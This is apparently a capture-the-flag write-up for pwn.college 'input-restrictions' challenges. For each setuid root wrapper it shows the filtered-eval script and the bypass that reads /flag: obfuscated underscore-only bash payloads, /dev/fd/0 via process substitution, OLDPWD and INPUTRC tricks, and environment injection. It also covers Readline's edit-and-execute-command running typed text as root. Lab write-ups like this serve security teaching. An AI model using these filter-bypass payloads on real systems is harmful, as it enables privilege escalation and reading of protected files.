__=${##};___=$(($__-$__));____=$(($__+$__));_____=$(($____+$____));______=$(($_____+$____+$__));_______=${!#:___:__};________=${!#:_____:__};_________=${!#:______:__};$_________$________ $_______????
nl: /boot: Is a directory
1 pwn.college{********************************************}
nl: /home: Is a directory
nl: /proc: Is a directory
nl: /root: Is a directory
nl: /sbin: Is a directory
1
__=${##};___=$(($__-$__));____=$(($__+$__));_____=$(($____+$____));______=$(($_____+$____+$__));_______=${!#:___:__};________=${!#:_____:__};_________=${!#:______:__};$_________$________ $_______????
  • __=$ 参数个数的长度,拿到 1

  • ___=$(($__-$__)) 1 - 1 = 0

  • ____=$(($__+$__)) 1 + 1 = 2

  • _____=$(($____+$____)) 2 + 2 = 4

  • ______=$(($_____+$____+$__)) 4 + 2 + 1 = 7

  • $# 是 0,所以 ${!#} 会解析为 $0,即字符串 /challenge/run

  • _______=${!#:___:__} 提取索引 0,长度 1,得到斜杠 /

  • ________=${!#:_____:__} 提取索引 4,长度 1,得到字母 l

  • _________=${!#:______:__} 提取索引 7,长度 1,得到字母 n

最后的 $_________$________ $_______???? 展开后等效于:

1
nl /????

因为题目环境配置了 PATH=/usr/bin,bash 会直接在路径中找到 /usr/bin/nl 并执行它。nl 会忽略掉那些作为目录的 /boot/dev

Veil of the Forbidden

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@input-restrictions~veil-of-the-forbidden:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -n1 | tr -cd "[_$}{()#;:<=+]")
eval "$INPUT"
}

doit
1
2
3
4
ubuntu@input-restrictions~veil-of-the-forbidden:~$ /challenge/run
____=<(:);___=$((++___));__=$((___+___+___+___+___+___+___+___));$(<${____:$#:$__}$#)
cat /flag
pwn.college{********************************************}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
漏洞出在 head -n1 上。它只消耗了标准输入的第一行。

只要在第一行用([_$}{()#;:<=+])拼凑出读取并执行标准输入的指令,第二行就可以 cat /flag

____=<(:) 利用进程替换生成 /dev/fd/63,并存入变量 ____(四个下划线)。在部分 Bash中,空的进程替换 <() 会被解析器判定为 Syntax Error。空指令 : 防止这种情况(Null Utility)

___=$((++___)) 自增数字 1。

__=$((___+___+...)) 利用 8 个 1 相加,造出数字 8。

${____:$#:$__} 用 ${var:0:8} 语法从 /dev/fd/63 提取出 /dev/fd/。

...$# 在末尾拼上代表 0 的 $#,合成 /dev/fd/0。

$(<...) 读取 stdin 里的 cat /flag 并将其作为命令执行

当你运行一个程序(也就是启动一个 process)时,kernel 会给这个进程分配一个专门的“文件追踪表”。表里的每一个编号,就叫 file descriptor (FD)

  • 0:永远是 standard input (stdin,通常是你的键盘或上游管道)。
  • 1:永远是 standard output (stdout,通常是你的屏幕)。
  • 2:永远是 standard error (stderr,报错信息)。

/dev/fd/ 是一个由 kernel 动态维护的 virtual filesystem(虚拟文件系统),它通常只是一个指向 /proc/self/fd/ 的 symlink(符号链接)。如果你去 ls /dev/fd/,你看到的其实是你当前正在运行的这个进程所打开的所有文件描述符。

当你输入 <(:) 也就是使用 Bash 的 process substitution(进程替换)时

  1. Bash 向 kernel 申请创建一个在内存里的匿名 pipe(管道)。
  2. Bash 把子进程 : 的 stdout 接到这个管道的写入端。
  3. Bash 把管道的读取端作为一个 file descriptor 打开。
  4. 为了防止和程序员平时自己打开的低编号文件(比如 3, 4, 5)发生冲突,Bash 底层源码里有一个逻辑:尽可能挑选一个靠后的、空闲的高位数字。在大多数现代 Linux 环境中,系统允许单个进程打开的最大文件数通常很大,但 Bash 为了安全兼容,经常默认分配 63 这个编号给 process substitution 使用(有时也会是 62,取决于具体的系统环境和并发状况)。

执行 ____=<(:) 时,Bash 把上面的步骤做完后,会将 /dev/fd/63 直接返回,并赋值给变量 ____

btw 变量名只允许大小写字母(a-z, A-Z)、数字(0-9)和下划线(_)

Your Misplaced Memories

When restrictions rule your thoughts, you might find the flag in a misplaced memory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@input-restrictions~your-misplaced-memories:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# This neat trick was generously contributed by WilyWizard!

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
# i can only use [ - ~ ]
read INPUT < <(head -n1 | tr -cd "[\-~]")
eval "$INPUT"
}

doit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# cd 切换目录时,Bash 会自动更新一个环境变量 $OLDPWD,记录 cd 之前所在的路径。
# 目录展开符 ~- 会被直接替换为 $OLDPWD 的值。恰好 ~ 和 - 都在白名单字符里

ubuntu@input-restrictions~your-misplaced-memories:~$ mkdir -p /tmp/arch_btw
ubuntu@input-restrictions~your-misplaced-memories:~$ cd /tmp/arch_btw
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ echo '#!/usr/bin/cat /flag' > /tmp/payload
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ chmod +x /tmp/payload
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ (sleep 5 && rm -rf /tmp/arch_btw && mv /tmp/payload /tmp/arch_btw) &
[1] 314
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ /challenge/run
~-
pwn.college{********************************************}
#!/usr/bin/cat /flag
[1]+ Done ( sleep 5 && rm -rf /tmp/arch_btw && mv /tmp/payload /tmp/arch_btw )

Exclamations of Execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
ubuntu@input-restrictions~exclamations-of-execution:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@input-restrictions~exclamations-of-execution:~$ cat /challenge/run-actual
#!/bin/bash -p

# This neat trick was generously contributed by armax00

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -c5 | tr -d "[A-Za-z0-9./~\-]")
eval "$INPUT"
}

doit
1
2
ubuntu@input-restrictions~exclamations-of-execution:~$ echo '$__' | __="/bin/cat /flag" /challenge/run
pwn.college{********************************************}
  1. __="/bin/cat /flag":定义了一个名为 __ 的环境变量,由于当前命令执行环境继承,这个变量会进入 root 权限的 bash 脚本中。
  2. echo '$__':向管道输出了 $__\n( 4 个字节)。
  3. tr 试图过滤,但由于字符串里全是非字母数字的符号,$__ 被原封不动地保留并赋值给 INPUT
  4. eval "$INPUT" 被执行,实际上就是执行 eval "$__"
  5. Bash 展开变量 __,命令变为 /bin/cat /flag 并以 root 权限运行

Sensing of Secrets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@input-restrictions~sensing-of-secrets:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# thanks to amateurhour for the suggestion of this trick

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n $\-/A-Za-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@input-restrictions~sensing-of-secrets:~$ /challenge/run /tmp/tmp
/flag
readline: /flag: line 1: pwn.college{********************************************}: no key sequence terminator
^C
ubuntu@input-restrictions~sensing-of-secrets:~$ cat /tmp/tmp
read INPUTRC #spacehere
read -e # spacehere

# 使用 read -e 命令时,Bash 会调用底层的 Readline 库来获取用户的输入(这会提供类似命令补全、历史记录查找等高级功能)。而 Readline 在首次被调用初始化时,它会去读取自己的配置文件。

# 这个配置文件的路径由环境变量 INPUTRC 决定

# 如果把 INPUTRC 的值设为 /flag,Readline 在初始化时就会解析 /flag 文件的内容。由于 Flag 的内容不是合法的 Readline 配置语法,解析器会崩溃并在标准错误流 (stderr) 里把这行无法解析的内容作为报错信息打印出来

A String of Secrecy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@input-restrictions~a-string-of-secrecy:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# thanks to amateurhour for the suggestion of this trick as well!
#
PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n $\-/a-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
10
# vim in /tmp/tmp
read a
read $a
read -e

ubuntu@input-restrictions~a-string-of-secrecy:~$ /challenge/run /tmp/tmp
INPUTRC
/flag
readline: /flag: line 1: pwn.college{********************************************}: no key sequence terminator
^C

The Secret, Commanded

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@input-restrictions~the-secret-commanded:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n \-/a-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
ubuntu@input-restrictions~the-secret-commanded:~$ echo "read -e" > /tmp/payload
ubuntu@input-restrictions~the-secret-commanded:~$ /challenge/run /tmp/payload
cat /flag
10
wq
10
cat /flag
pwn.college{********************************************}
wq

Bash 的 Readline 默认键绑定(Emacs 模式)中,藏着一个内部函数:

edit-and-execute-command (这也正是题目 “Commanded” 的双关语由来)。

当你在终端输入了一半的命令,突然觉得太长太复杂,你可以按下特定的快捷键。Bash 会立刻把你当前敲击的内容保存到一个临时文件中,并用系统默认的编辑器(vi、nano 或 emacs, in this dojo we use ed)打开它。当你保存并退出编辑器时,Bash 会直接以当前 Shell 的权限执行文件里的命令

因为整个外部包装器 (exec-suid) 是以 root 权限运行的,所以这个 Readline 调起的执行操作,同样拥有 root 权限。

1
/challenge/run /tmp/payload
  1. 程序会静默挂起(此时它正在以 root 权限执行 read -e,等待输入)。
  2. 在键盘上敲下拿 flag 的命令:cat /flag (注意别按回车)
  3. 接下来 先按 Ctrl+X,然后按 Ctrl+E
  4. 系统会拉起 ed
  5. 输入 wq,按回车。
  6. Bash 会接管这段文本,在 root 上下文中执行 cat /flag

The Stumble From Safety

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@input-restrictions~the-stumble-from-safety:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n \-/0-9a-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
echo "read -e" > /tmp/payload
ubuntu@input-restrictions~the-stumble-from-safety:~$ /challenge/run /tmp/payload
cat /flag
10
wq
10
cat /flag
pwn.college{********************************************}
^C

Precision of Parameters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ubuntu@input-restrictions~precision-of-parameters:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD # thanks, WilyWizard

cp /flag $WORKDIR
read -r INPUT
[ "${#INPUT}" -gt 5 ] && exit 2
sh -c "$INPUT" < /dev/null
1
2
3
4
5
6
7
8
9
ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run
cat *
pwn.college{********************************************}
ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run
tac *
pwn.college{********************************************}
ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run
nl *
1 pwn.college{********************************************}

Brevity’s Enigma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@input-restrictions~brevitys-enigma:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD

cp /flag .

while [ "$INPUT" != "exit" ]
do
read -r INPUT
[ "${#INPUT}" -gt 4 ] && exit 2
sh -c "$INPUT" < /dev/null 2>/dev/null
done
1
2
3
ubuntu@input-restrictions~brevitys-enigma:~$ /challenge/run
nl *
1 pwn.college{********************************************}

Essense of Economy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ubuntu@input-restrictions~essense-of-economy:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD

while [ "$INPUT" != "exit" ]
do
read -r INPUT
[ "${#INPUT}" -gt 5 ] && exit 2
sh -c "$INPUT" < /dev/null 2>/dev/null
done
1
2
3
ubuntu@input-restrictions~essense-of-economy:~$ /challenge/run
nl /*
1 pwn.college{********************************************}

Mirage of Minimalism

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ubuntu@input-restrictions~mirage-of-minimalism:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD

while [ "$INPUT" != "exit" ]
do
read -r INPUT
[ "${#INPUT}" -gt 4 ] && exit 2
sh -c "$INPUT" < /dev/null 2>/dev/null
done
1
2
3
4
5
ubuntu@input-restrictions~mirage-of-minimalism:~$ /challenge/run
>cat
* /*
pwn.college{********************************************}
^C